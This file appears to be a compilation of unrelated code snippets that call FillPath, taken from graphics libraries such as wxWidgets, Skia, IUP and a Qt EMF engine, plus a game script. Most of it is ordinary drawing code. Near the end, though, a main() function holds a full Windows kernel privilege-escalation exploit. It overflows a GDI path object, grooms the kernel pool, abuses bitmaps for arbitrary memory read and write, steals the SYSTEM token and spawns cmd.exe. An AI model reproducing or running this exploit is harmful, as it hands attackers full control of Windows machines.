void iupDrawArc(IdrawCanvas* dc, int x1, int y1, int x2, int y2, double a1, double a2, unsigned char r, unsigned char g, unsigned char b, int style)
{
int XStartArc = winDrawCalcArc(x1, x2, a1, 1);
int XEndArc = winDrawCalcArc(x1, x2, a2, 0);
int YStartArc = winDrawCalcArc(y1, y2, a1, 1);
int YEndArc = winDrawCalcArc(y1, y2, a2, 0);
if (style==IUP_DRAW_FILL)
{
HBRUSH hBrush = CreateSolidBrush(RGB(r,g,b));
HPEN hBrushOld = SelectObject(dc->hBitmapDC, hBrush);
BeginPath(dc->hBitmapDC);
Pie(dc->hBitmapDC, x1, y1, x2+1, y2+1, XStartArc, YStartArc, XEndArc, YEndArc);
EndPath(dc->hBitmapDC);
FillPath(dc->hBitmapDC);
SelectObject(dc->hBitmapDC, hBrushOld);
DeleteObject(hBrush);
}
else
{
HPEN hPen = CreatePen(style==IUP_DRAW_STROKE_DASH? PS_DASH: PS_SOLID, 1, RGB(r, g, b));
HPEN hPenOld = SelectObject(dc->hBitmapDC, hPen);
Arc(dc->hBitmapDC, x1, y1, x2+1, y2+1, XStartArc, YStartArc, XEndArc, YEndArc);
SelectObject(dc->hBitmapDC, hPenOld);
DeleteObject(hPen);
}
}
void structGraphicsScreen :: v_fillArea (long numberOfPoints, double *xyDC) {
#if cairo
if (our d_cairoGraphicsContext == NULL) return;
// cairo_new_path (our d_cairoGraphicsContext); // move_to() automatically creates a new path
cairo_move_to (our d_cairoGraphicsContext, xyDC [0], xyDC [1]);
for (long i = 1; i < numberOfPoints; i ++)
cairo_line_to (our d_cairoGraphicsContext, xyDC [i + i], xyDC [i + i + 1]);
cairo_close_path (our d_cairoGraphicsContext);
cairo_fill (our d_cairoGraphicsContext);
#elif win
MY_BRUSH
BeginPath (our d_gdiGraphicsContext);
MoveToEx (our d_gdiGraphicsContext, xyDC [0], xyDC [1], NULL);
for (long i = 1; i < numberOfPoints; i ++)
LineTo (our d_gdiGraphicsContext, xyDC [i + i], xyDC [i + i + 1]);
EndPath (our d_gdiGraphicsContext);
FillPath (our d_gdiGraphicsContext);
DEFAULT
#elif mac
GraphicsQuartz_initDraw (this);
quartzPrepareFill (this);
CGContextBeginPath (our d_macGraphicsContext);
CGContextMoveToPoint (our d_macGraphicsContext, xyDC [0], xyDC [1]);
for (long i = 1; i < numberOfPoints; i ++) {
CGContextAddLineToPoint (our d_macGraphicsContext, xyDC [i + i], xyDC [i + i + 1]);
}
CGContextFillPath (our d_macGraphicsContext);
GraphicsQuartz_exitDraw (this);
#endif
}
void wxGraphicsContext::DrawText( const wxString &str, wxDouble x, wxDouble y, wxDouble angle, const wxGraphicsBrush& backgroundBrush )
{
wxGraphicsBrush formerBrush = m_brush;
wxGraphicsPen formerPen = m_pen;
wxDouble width;
wxDouble height;
wxDouble descent;
wxDouble externalLeading;
GetTextExtent( str , &width, &height, &descent, &externalLeading );
SetBrush( backgroundBrush );
// to make sure our 'OffsetToPixelBoundaries' doesn't move the fill shape
SetPen( wxNullGraphicsPen );
wxGraphicsPath path = CreatePath();
path.MoveToPoint( x , y );
path.AddLineToPoint( (int) (x + sin(angle) * height) , (int) (y + cos(angle) * height) );
path.AddLineToPoint(
(int) (x + sin(angle) * height + cos(angle) * width) ,
(int) (y + cos(angle) * height - sin(angle) * width));
path.AddLineToPoint((int) (x + cos(angle) * width) , (int) (y - sin(angle) * width) );
FillPath( path );
DrawText( str, x ,y, angle);
SetBrush( formerBrush );
SetPen( formerPen );
}
void
wxGraphicsContext::DoDrawFilledText(const wxString &str,
wxDouble x,
wxDouble y,
const wxGraphicsBrush& backgroundBrush)
{
wxGraphicsBrush formerBrush = m_brush;
wxGraphicsPen formerPen = m_pen;
wxDouble width;
wxDouble height;
wxDouble descent;
wxDouble externalLeading;
GetTextExtent( str , &width, &height, &descent, &externalLeading );
SetBrush( backgroundBrush );
// to make sure our 'OffsetToPixelBoundaries' doesn't move the fill shape
SetPen( wxNullGraphicsPen );
wxGraphicsPath path = CreatePath();
path.AddRectangle( x , y, width, height );
FillPath( path );
DrawText( str, x ,y);
SetBrush( formerBrush );
SetPen( formerPen );
}
void GdiContext2D::Check()
{
//because GDI closes the path after Fill or stroke
//we need a state to do both at the same time
if (this->flags == 0)
{
//not using path
return;
}
if (this->flags == 1)
{
COLORREF color = ColorToColorRef(strokeStyle.m_Color);
HPEN hpen = CreatePen(PS_SOLID, (int)lineWidth, color); //TODO
HPEN oldPen = (HPEN) SelectObject(m_hDC, hpen);
StrokePath(m_hDC);
SelectObject(m_hDC, oldPen);
//
DeleteObject(hpen);
}
else if (this->flags == 2)
{
COLORREF color = ColorToColorRef(fillStyle.m_Color);
LOGBRUSH logbrush;
logbrush.lbColor = color;
logbrush.lbStyle = BS_SOLID;
logbrush.lbHatch = 0;
HBRUSH hBrush = CreateBrushIndirect(&logbrush);
HBRUSH oldBrush = (HBRUSH)SelectObject(m_hDC, hBrush);
//
FillPath(m_hDC);
//
SelectObject(m_hDC, oldBrush);
DeleteObject(hBrush);
}
else if (this->flags == 3)
{
COLORREF color2 = ColorToColorRef(strokeStyle.m_Color);
HPEN hpen = CreatePen(PS_SOLID, (int) lineWidth, color2); //TODO
HPEN oldPen = (HPEN) SelectObject(m_hDC, hpen);
COLORREF color = ColorToColorRef(fillStyle.m_Color);
LOGBRUSH logbrush;
logbrush.lbColor = color;
logbrush.lbStyle = BS_SOLID;
logbrush.lbHatch = 0;
HBRUSH hBrush = CreateBrushIndirect(&logbrush);
HBRUSH oldBrush = (HBRUSH)SelectObject(m_hDC, hBrush);
//
StrokeAndFillPath(m_hDC);
//
SelectObject(m_hDC, oldPen);
SelectObject(m_hDC, oldBrush);
//
DeleteObject(hBrush);
DeleteObject(hpen);
}
this->flags = 0;
}
FX_BOOL CFDE_GdiDevice::FillRoundRectangle(IFDE_Brush* pBrush,
const CFX_RectF& rect,
const CFX_SizeF& round,
const CFX_Matrix* pMatrix) {
CFDE_GdiPath path;
path.AddRoundRectangle(rect, round);
return FillPath(pBrush, &path, pMatrix);
}
int client_FillPath(const int pdcID) {
HDC pdc = printerDCs[pdcID];
if (pdc != NULL) {
if (FillPath(pdc)) {
return JNI_TRUE;
}
}
return JNI_FALSE;
}
FX_BOOL CFDE_GdiDevice::FillChord(IFDE_Brush* pBrush,
const CFX_RectF& rect,
FX_FLOAT startAngle,
FX_FLOAT sweepAngle,
const CFX_Matrix* pMatrix) {
CFX_ArcF chord;
chord.Set(rect, startAngle, sweepAngle);
CFDE_GdiPath path;
path.AddChord(chord);
return FillPath(pBrush, &path, pMatrix);
}
npc_seismic_shardAI(Creature* creature) : ScriptedAI(creature)
{
instance = creature->GetInstanceScript();
me->SetDisableGravity(true);
DoCast(me, SPELL_SEISMIC_SHARD_VISUAL);
Movement::MoveSplineInit init(me);
FillPath(me->GetPosition(), init.Path());
init.SetFly();
init.Launch();
events.ScheduleEvent(EVENT_SEISMIC_SHARD_MOUNT, 2400);
}
PHP_METHOD(WinGdiPath, fillPath)
{
wingdi_devicecontext_object *dc_obj;
wingdi_path_object *path_obj;
WINGDI_ERROR_HANDLING();
if (zend_parse_parameters_none() == FAILURE)
return;
WINGDI_RESTORE_ERRORS();
path_obj = zend_object_store_get_object(getThis() TSRMLS_CC);
dc_obj = zend_object_store_get_object(path_obj->device_context TSRMLS_CC);
RETURN_BOOL(FillPath(dc_obj->hdc));
}
void wxGraphicsContext::DrawText( const wxString &str, wxDouble x, wxDouble y, const wxGraphicsBrush& backgroundBrush )
{
wxGraphicsBrush formerBrush = m_brush;
wxDouble width;
wxDouble height;
wxDouble descent;
wxDouble externalLeading;
GetTextExtent( str , &width, &height, &descent, &externalLeading );
SetBrush( backgroundBrush );
wxGraphicsPath path = CreatePath();
path.AddRectangle( x , y, width, height );
FillPath( path );
DrawText( str, x ,y);
SetBrush( formerBrush );
}
void SkScan::FillTriangle(const SkPoint pts[], const SkRasterClip& clip,
SkBlitter* blitter) {
if (clip.isEmpty()) {
return;
}
SkRect r;
r.set(pts, 3);
// If r is too large (larger than can easily fit in SkFixed) then we need perform geometric
// clipping. This is a bit of work, so we just call the general FillPath() to handle it.
// Use FixedMax/2 as the limit so we can subtract two edges and still store that in Fixed.
const SkScalar limit = SK_MaxS16 >> 1;
if (!SkRect::MakeLTRB(-limit, -limit, limit, limit).contains(r)) {
SkPath path;
path.addPoly(pts, 3, false);
FillPath(path, clip, blitter);
return;
}
SkIRect ir = conservative_round_to_int(r);
if (ir.isEmpty() || !SkIRect::Intersects(ir, clip.getBounds())) {
return;
}
SkAAClipBlitterWrapper wrap;
const SkRegion* clipRgn;
if (clip.isBW()) {
clipRgn = &clip.bwRgn();
} else {
wrap.init(clip, blitter);
clipRgn = &wrap.getRgn();
blitter = wrap.getBlitter();
}
SkScanClipper clipper(blitter, clipRgn, ir);
blitter = clipper.getBlitter();
if (blitter) {
sk_fill_triangle(pts, clipper.getClipRect(), blitter, ir);
}
}
void iupDrawPolygon(IdrawCanvas* dc, int* points, int count, unsigned char r, unsigned char g, unsigned char b, int style)
{
if (style==IUP_DRAW_FILL)
{
HBRUSH hBrush = CreateSolidBrush(RGB(r,g,b));
HPEN hBrushOld = SelectObject(dc->hBitmapDC, hBrush);
BeginPath(dc->hBitmapDC);
Polygon(dc->hBitmapDC, (POINT*)points, count);
EndPath(dc->hBitmapDC);
FillPath(dc->hBitmapDC);
SelectObject(dc->hBitmapDC, hBrushOld);
DeleteObject(hBrush);
}
else
{
HPEN hPen = CreatePen(style==IUP_DRAW_STROKE_DASH? PS_DASH: PS_SOLID, 1, RGB(r, g, b));
HPEN hPenOld = SelectObject(dc->hBitmapDC, hPen);
Polyline(dc->hBitmapDC, (POINT*)points, count);
SelectObject(dc->hBitmapDC, hPenOld);
DeleteObject(hPen);
}
}
void wxGraphicsContext::DrawText( const wxString &str, wxDouble x, wxDouble y, wxDouble angle, const wxGraphicsBrush& backgroundBrush )
{
wxGraphicsBrush formerBrush = m_brush;
wxDouble width;
wxDouble height;
wxDouble descent;
wxDouble externalLeading;
GetTextExtent( str , &width, &height, &descent, &externalLeading );
SetBrush( backgroundBrush );
wxGraphicsPath path = CreatePath();
path.MoveToPoint( x , y );
path.AddLineToPoint( (int) (x + sin(angle) * height) , (int) (y + cos(angle) * height) );
path.AddLineToPoint(
(int) (x + sin(angle) * height + cos(angle) * width) ,
(int) (y + cos(angle) * height - sin(angle) * width));
path.AddLineToPoint((int) (x + cos(angle) * width) , (int) (y - sin(angle) * width) );
FillPath( path );
DrawText( str, x ,y, angle);
SetBrush( formerBrush );
}
void __fastcall TExtPolyline::DrawTo(void *dc,void *pen,void *brush)
{
CreatePath(dc);
if (brush)
{
void* oldbrush=SelectObject(dc,brush);
if (pen)
{
void *oldpen=SelectObject(dc,pen);
StrokeAndFillPath(dc);
SelectObject(dc,oldpen);
}
else
FillPath(dc);
SelectObject(dc,oldbrush);
}
else if (pen)
{
void *oldpen=SelectObject(dc,pen);
StrokePath(dc);
SelectObject(dc,oldpen);
}
}
void deleteFilledObjetFigure (HGDIOBJ orig, HDC hdc, HBRUSH& hBrush) {
FillPath (hdc);
SelectObject (hdc, orig);
DeleteObject (hBrush);
}
void SkScan::FillPath(const SkPath& path, const SkIRect& ir,
SkBlitter* blitter) {
SkRegion rgn(ir);
FillPath(path, rgn, blitter);
}
void EmfPaintEngine::drawPath ( const QPainterPath & path )
{
setClipping();
int points = path.elementCount();
POINT *pts = new POINT[points];
BYTE *types = new BYTE[points];
POINT *bzs = new POINT[3];
int bez = 0;
BeginPath(metaDC);
QMatrix m = painter()->worldMatrix();
for (int i = 0; i < points; i++){
QPainterPath::Element el = path.elementAt(i);
QPointF p = m.map(QPointF(el.x, el.y));
int x = qRound(p.x());
int y = qRound(p.y());
pts[i].x = x;
pts[i].y = y;
switch(el.type){
case QPainterPath::MoveToElement:
types[i] = PT_MOVETO;
#ifndef Q_WS_WIN
MoveToEx (metaDC, x, y, 0);
#endif
break;
case QPainterPath::LineToElement:
types[i] = PT_LINETO;
#ifndef Q_WS_WIN
LineTo(metaDC, x, y);
#endif
break;
case QPainterPath::CurveToElement:
types[i] = PT_BEZIERTO;
#ifndef Q_WS_WIN
bzs[bez] = pts[i];
bez++;
#endif
break;
case QPainterPath::CurveToDataElement:
types[i] = PT_BEZIERTO;
#ifndef Q_WS_WIN
bzs[bez] = pts[i];
if (bez == 2){
PolyBezierTo(metaDC, bzs, 3);
bez = 0;
} else
bez++;
#endif
break;
}
}
HPEN wpen = convertPen(painter()->pen());
SelectObject(metaDC, wpen);
#ifdef Q_WS_WIN
PolyDraw(metaDC, pts, types, points);
#else
StrokePath(metaDC);
#endif
HBRUSH wbrush = convertBrush(painter()->brush());
SelectObject(metaDC, wbrush);
EndPath(metaDC);
if(QPoint(pts[0].x, pts[0].y) == QPoint(pts[points - 1].x, pts[points - 1].y))
StrokeAndFillPath(metaDC);
else {
FillPath(metaDC);
#ifdef Q_WS_WIN
PolyDraw(metaDC, pts, types, points);
#else
StrokePath(metaDC);
#endif
}
resetClipping();
DeleteObject(wbrush);
DeleteObject(wpen);
delete [] pts;
delete [] types;
}
void wxGraphicsContext::DrawPath( const wxGraphicsPath& path, int fillStyle )
{
FillPath( path , fillStyle );
StrokePath( path );
}
void wxGraphicsContext::DrawPath( const wxGraphicsPath& path, wxPolygonFillMode fillStyle )
{
FillPath( path , fillStyle );
StrokePath( path );
}
void main(int argc, char* argv[]) {
HDC hdc = GetDC(NULL);
HDC hMemDC = CreateCompatibleDC(hdc);
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
static POINT points[0x3fe01];
for (int l = 0; l < 0x3FE00; l++) {
points[l].x = 0x5a1f;
points[l].y = 0x5a1f;
}
points[2].y = 20;
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;
if (!BeginPath(hMemDC)) {
fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
}
for (int j = 0; j < 0x156; j++) {
if (j > 0x1F && points[2].y != 0x5a1f) {
points[2].y = 0x5a1f;
}
if (!PolylineTo(hMemDC, points, 0x3FE01)) {
fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
}
}
EndPath(hMemDC);
//Kernel Pool Fung=Shuei
fungshuei();
//getchar();
fprintf(stdout, "[+] Trigerring Exploit.\r\n");
if (!FillPath(hMemDC)) {
fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
}
printf("%s\r\n", "Done filling.");
HRESULT res;
VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!fake) {
fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
}
memset(fake, 0x1, 0x100);
bits = malloc(0x1000);
memset(bits, 0x42, 0x1000);
for (int k=0; k < 5000; k++) {
res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
if (res > 0x150) {
fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
hManager = bitmaps[k];
hWorker = bitmaps[k + 1];
// Get Gh05 header to fix overflown header.
static BYTE Gh04[0x9];
fprintf(stdout, "\r\nGh04 header:\r\n");
for (int i = 0; i < 0x10; i++){
Gh04[i] = bits[0x1d0 + i];
fprintf(stdout, "%02x", bits[0x1d0 + i]);
}
// Get Gh05 header to fix overflown header.
static BYTE Gh05[0x9];
fprintf(stdout, "\r\nGh05 header:\r\n");
for (int i = 0; i < 0x10; i++) {
Gh05[i] = bits[0xd90 + i];
fprintf(stdout, "%02x", bits[0xd90 + i]);
}
// Address of Overflown Gh04 object header
static BYTE addr1[0x7];
fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
for (int j = 0; j < 0x8; j++) {
addr1[j] = bits[0x210 + j];
fprintf(stdout, "%02x", bits[0x210 + j]);
}
//Get pvscan0 address of second Gh05 object
static BYTE* pvscan[0x07];
fprintf(stdout, "\r\nPvsca0:\r\n");
for (int i = 0; i < 0x8; i++) {
pvscan[i] = bits[0xdf0 + i];
fprintf(stdout, "%02x", bits[0xdf0 + i]);
}
// Calculate address to overflown Gh04 object header.
addr1[0x0] = 0;
int u = addr1[0x1];
u = u - 0x10;
addr1[1] = u;
//Fix overflown Gh04 object Header
SetAddress(addr1);
WriteToAddress(Gh04);
// Calculate address to overflown Gh05 object header.
addr1[0] = 0xc0;
int y = addr1[1];
y = y + 0xb;
addr1[1] = y;
//Fix overflown Gh05 object Header
SetAddress(addr1);
WriteToAddress(Gh05);
// get System EPROCESS
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
ULONG64 SystemToken = 0;
// read token from system process
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
// write token to current process
ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
SetAddress((BYTE *)&CurProccessAddr);
WriteToAddress((BYTE *)&SystemToken);
// Done and done. We're System :)
system("cmd.exe");
break;
}
if (res == 0) {
fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
}
}
getchar();
//clean up
DeleteObject(bitobj);
DeleteObject(bitmap);
DeleteDC(hMemDC);
ReleaseDC(NULL, hdc);
VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
//free(points);
}
static void dw_gt_fill(vd_trace_interface *I)
{ get_window();
if (host.tw == NULL)
return;
FillPath(I->host->hdc);
}